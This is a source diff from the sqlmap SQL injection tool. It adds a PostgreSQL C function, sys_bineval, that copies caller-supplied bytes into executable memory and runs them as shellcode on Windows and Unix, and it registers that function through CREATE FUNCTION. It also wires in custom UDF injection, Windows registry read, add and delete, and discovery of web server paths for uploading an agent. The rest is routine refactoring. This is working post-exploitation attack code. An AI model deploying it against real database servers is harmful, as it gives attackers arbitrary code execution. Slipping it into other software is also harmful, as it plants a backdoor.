||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -21,3 +21,4 @@
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
||||
+82
-1
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -63,8 +63,8 @@ class Magic:
|
||||
def __del__(self):
|
||||
try:
|
||||
magic_close(self.cookie)
|
||||
except Exception, e:
|
||||
print "got thig: ", e
|
||||
except Exception, _:
|
||||
pass
|
||||
|
||||
|
||||
_magic_mime = None
|
||||
|
||||
@@ -54,11 +54,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
v_files = []
|
||||
v_vars = []
|
||||
try:
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file:
|
||||
v_files.append((key, value))
|
||||
else:
|
||||
v_vars.append((key, value))
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file:
|
||||
v_files.append((key, value))
|
||||
else:
|
||||
v_vars.append((key, value))
|
||||
except TypeError:
|
||||
systype, value, traceback = sys.exc_info()
|
||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -125,6 +125,10 @@ def action():
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
# User-defined function options
|
||||
if conf.udfInject:
|
||||
conf.dbmsHandler.udfInjectCustom()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||
@@ -148,6 +152,16 @@ def action():
|
||||
if conf.osBof:
|
||||
conf.dbmsHandler.osBof()
|
||||
|
||||
# Windows registry options
|
||||
if conf.regRead:
|
||||
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
|
||||
|
||||
if conf.regAdd:
|
||||
conf.dbmsHandler.regAdd()
|
||||
|
||||
if conf.regDel:
|
||||
conf.dbmsHandler.regDel()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.cleanup:
|
||||
conf.dbmsHandler.cleanup()
|
||||
|
||||
@@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
@@ -295,9 +294,9 @@ def checkStability():
|
||||
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||
logger.info(infoMsg)
|
||||
|
||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
||||
firstPage, _ = Request.queryPage(content=True)
|
||||
time.sleep(1)
|
||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
||||
secondPage, _ = Request.queryPage(content=True)
|
||||
|
||||
condition = firstPage == secondPage
|
||||
|
||||
|
||||
@@ -36,7 +36,6 @@ from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.session import setInjection
|
||||
from lib.core.target import createTargetDirs
|
||||
@@ -105,7 +104,6 @@ def start():
|
||||
logger.info(infoMsg)
|
||||
|
||||
hostCount = 0
|
||||
receivedCookies = []
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
@@ -139,6 +137,7 @@ def start():
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
createTargetDirs()
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString() or not checkRegexp():
|
||||
@@ -261,7 +260,6 @@ def start():
|
||||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
createTargetDirs()
|
||||
action()
|
||||
|
||||
if conf.loggedToOut:
|
||||
|
||||
@@ -33,7 +33,6 @@ from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
|
||||
|
||||
class Agent:
|
||||
@@ -284,10 +283,6 @@ class Agent:
|
||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||
fieldsToCastList = fieldsToCastList.split(",")
|
||||
|
||||
# TODO: really needed?!
|
||||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
# fieldsSelectFrom = None
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
|
||||
+126
-81
@@ -43,6 +43,7 @@ from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
@@ -86,8 +87,7 @@ def paramToDict(place, parameters=None):
|
||||
|
||||
if condition:
|
||||
value = elem[1]
|
||||
if value:
|
||||
testableParameters[parameter] = value
|
||||
testableParameters[parameter] = value
|
||||
|
||||
if conf.testParameter and not testableParameters:
|
||||
paramStr = ", ".join(test for test in conf.testParameter)
|
||||
@@ -141,9 +141,9 @@ def formatDBMSfp(versions=None):
|
||||
|
||||
|
||||
def formatFingerprintString(values, chain=" or "):
|
||||
string = "|".join([v for v in values])
|
||||
strJoin = "|".join([v for v in values])
|
||||
|
||||
return string.replace("|", chain)
|
||||
return strJoin.replace("|", chain)
|
||||
|
||||
|
||||
def formatFingerprint(target, info):
|
||||
@@ -224,73 +224,94 @@ def getHtmlErrorFp():
|
||||
|
||||
|
||||
def getDocRoot():
|
||||
"""
|
||||
This method returns the web application document root based on the
|
||||
detected absolute files paths in the knowledge base.
|
||||
"""
|
||||
|
||||
docRoot = None
|
||||
pagePath = os.path.dirname(conf.path)
|
||||
|
||||
if kb.os == "Windows":
|
||||
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||
else:
|
||||
defaultDocRoot = "/var/www/"
|
||||
|
||||
if kb.absFilePaths:
|
||||
logMsg = "retrieved the possible injectable "
|
||||
logMsg += "file absolute system paths: "
|
||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the injectable file "
|
||||
warnMsg += "absolute system path"
|
||||
logger.warn(warnMsg)
|
||||
for absFilePath in kb.absFilePaths:
|
||||
absFilePathWin = None
|
||||
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if conf.path in absFilePath:
|
||||
index = absFilePath.index(conf.path)
|
||||
docRoot = absFilePath[:index]
|
||||
break
|
||||
if re.search("([\w]\:[\/\\\\]+)", absFilePath):
|
||||
absFilePathWin = absFilePath
|
||||
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||
|
||||
absFilePath = os.path.normpath(absFilePath)
|
||||
|
||||
if pagePath in absFilePath:
|
||||
index = absFilePath.index(pagePath)
|
||||
docRoot = absFilePath[:index]
|
||||
|
||||
if absFilePathWin:
|
||||
docRoot = "C:/%s" % docRoot.replace("\\", "/")
|
||||
|
||||
break
|
||||
|
||||
if docRoot:
|
||||
logMsg = "retrieved the remote web server "
|
||||
logMsg += "document root: '%s'" % docRoot
|
||||
logger.info(logMsg)
|
||||
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the remote web server "
|
||||
warnMsg += "document root"
|
||||
warnMsg = "unable to retrieve the web server document root"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
message = "please provide the web server document root "
|
||||
message += "[%s]: " % defaultDocRoot
|
||||
inputDocRoot = readInput(message, default=defaultDocRoot)
|
||||
|
||||
if inputDocRoot:
|
||||
docRoot = inputDocRoot
|
||||
else:
|
||||
docRoot = defaultDocRoot
|
||||
|
||||
return docRoot
|
||||
|
||||
|
||||
def getDirectories():
|
||||
"""
|
||||
This method calls a function that returns the web application document
|
||||
root and injectable file absolute system path.
|
||||
|
||||
@return: a set of paths (document root and absolute system path).
|
||||
@rtype: C{set}
|
||||
@todo: replace this function with a site crawling functionality.
|
||||
"""
|
||||
|
||||
def getDirs():
|
||||
directories = set()
|
||||
|
||||
kb.docRoot = getDocRoot()
|
||||
if kb.os == "Windows":
|
||||
defaultDir = "C:/Inetpub/wwwroot/test/"
|
||||
else:
|
||||
defaultDir = "/var/www/test/"
|
||||
|
||||
if kb.docRoot:
|
||||
directories.add(kb.docRoot)
|
||||
if kb.absFilePaths:
|
||||
infoMsg = "retrieved web server full paths: "
|
||||
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(infoMsg)
|
||||
|
||||
pagePath = re.search("^/(.*)/", conf.path)
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if absFilePath:
|
||||
directories.add(os.path.dirname(absFilePath))
|
||||
else:
|
||||
warnMsg = "unable to retrieve any web server path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.docRoot and pagePath:
|
||||
pagePath = pagePath.groups()[0]
|
||||
message = "please provide any additional web server full path to try "
|
||||
message += "to upload the agent [%s]: " % defaultDir
|
||||
inputDirs = readInput(message, default=defaultDir)
|
||||
|
||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
|
||||
for inputDir in inputDirs:
|
||||
if inputDir:
|
||||
directories.add(inputDir)
|
||||
else:
|
||||
directories.add(defaultDir)
|
||||
|
||||
return directories
|
||||
|
||||
|
||||
def filePathToString(filePath):
|
||||
string = filePath.replace("/", "_").replace("\\", "_")
|
||||
string = string.replace(" ", "_").replace(":", "_")
|
||||
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||
|
||||
return string
|
||||
return strRepl
|
||||
|
||||
|
||||
def dataToStdout(data):
|
||||
@@ -326,18 +347,18 @@ def dataToOutFile(data):
|
||||
return rFilePath
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
def strToHex(inpStr):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
@type string: C{str}
|
||||
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||
@type inpStr: C{str}
|
||||
|
||||
@return: the hexadecimal converted string.
|
||||
@return: the hexadecimal converted inpStr.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
hexStr = ""
|
||||
|
||||
for character in string:
|
||||
for character in inpStr:
|
||||
if character == "\n":
|
||||
character = " "
|
||||
|
||||
@@ -410,6 +431,9 @@ def readInput(message, default=None):
|
||||
else:
|
||||
data = raw_input(message)
|
||||
|
||||
if not data:
|
||||
data = default
|
||||
|
||||
return data
|
||||
|
||||
|
||||
@@ -457,17 +481,17 @@ def randomStr(length=5, lowercase=False):
|
||||
return rndStr
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
def sanitizeStr(inpStr):
|
||||
"""
|
||||
@param string: string to sanitize: cast to str datatype and replace
|
||||
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||
newlines with one space and strip carriage returns.
|
||||
@type string: C{str}
|
||||
@type inpStr: C{str}
|
||||
|
||||
@return: sanitized string
|
||||
@return: sanitized inpStr
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
cleanString = str(string)
|
||||
cleanString = str(inpStr)
|
||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||
|
||||
return cleanString
|
||||
@@ -483,8 +507,8 @@ def checkFile(filename):
|
||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||
|
||||
|
||||
def replaceNewlineTabs(string):
|
||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
def replaceNewlineTabs(inpStr):
|
||||
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||
|
||||
return replacedString
|
||||
@@ -536,27 +560,27 @@ def cleanQuery(query):
|
||||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
|
||||
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
|
||||
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
|
||||
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
|
||||
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
||||
# sqlmap files
|
||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
|
||||
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
||||
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
|
||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
|
||||
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||
|
||||
|
||||
def weAreFrozen():
|
||||
@@ -760,11 +784,13 @@ def pollProcess(process):
|
||||
|
||||
returncode = process.poll()
|
||||
|
||||
if returncode != None:
|
||||
if returncode is not None:
|
||||
if returncode == 0:
|
||||
dataToStdout(" done\n")
|
||||
else:
|
||||
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
|
||||
elif returncode < 0:
|
||||
dataToStdout(" process terminated by signal %d\n" % returncode)
|
||||
elif returncode > 0:
|
||||
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
|
||||
|
||||
break
|
||||
|
||||
@@ -806,3 +832,22 @@ def getCharset(charsetType=None):
|
||||
asciiTbl.extend(range(96, 123))
|
||||
|
||||
return asciiTbl
|
||||
|
||||
|
||||
def searchEnvPath(fileName):
|
||||
envPaths = os.environ["PATH"]
|
||||
result = None
|
||||
|
||||
if IS_WIN is True:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
||||
|
||||
if result == True:
|
||||
break
|
||||
|
||||
return result
|
||||
|
||||
+2
-7
@@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
try:
|
||||
import md5
|
||||
import sha
|
||||
except DeprecationWarning, _:
|
||||
from hashlib import md5
|
||||
from hashlib import sha
|
||||
|
||||
import md5
|
||||
import sha
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
+15
-7
@@ -134,6 +134,11 @@ class Dump:
|
||||
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
if not isinstance(dbTables, dict):
|
||||
self.string("tables", dbTables)
|
||||
|
||||
return
|
||||
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
@@ -232,8 +237,8 @@ class Dump:
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
lines = "-" * (int(info["length"]) + 2)
|
||||
info = tableValues[column]
|
||||
lines = "-" * (int(info["length"]) + 2)
|
||||
separator += "+%s" % lines
|
||||
|
||||
separator += "+"
|
||||
@@ -248,19 +253,21 @@ class Dump:
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
info = tableValues[column]
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(column))
|
||||
blank = " " * (maxlength - len(column))
|
||||
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||
else:
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
@@ -279,14 +286,15 @@ class Dump:
|
||||
blank = " " * (maxlength - len(value))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if field == fields:
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
else:
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|")
|
||||
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
|
||||
+18
-15
@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
from lib.core.settings import PLATFORM
|
||||
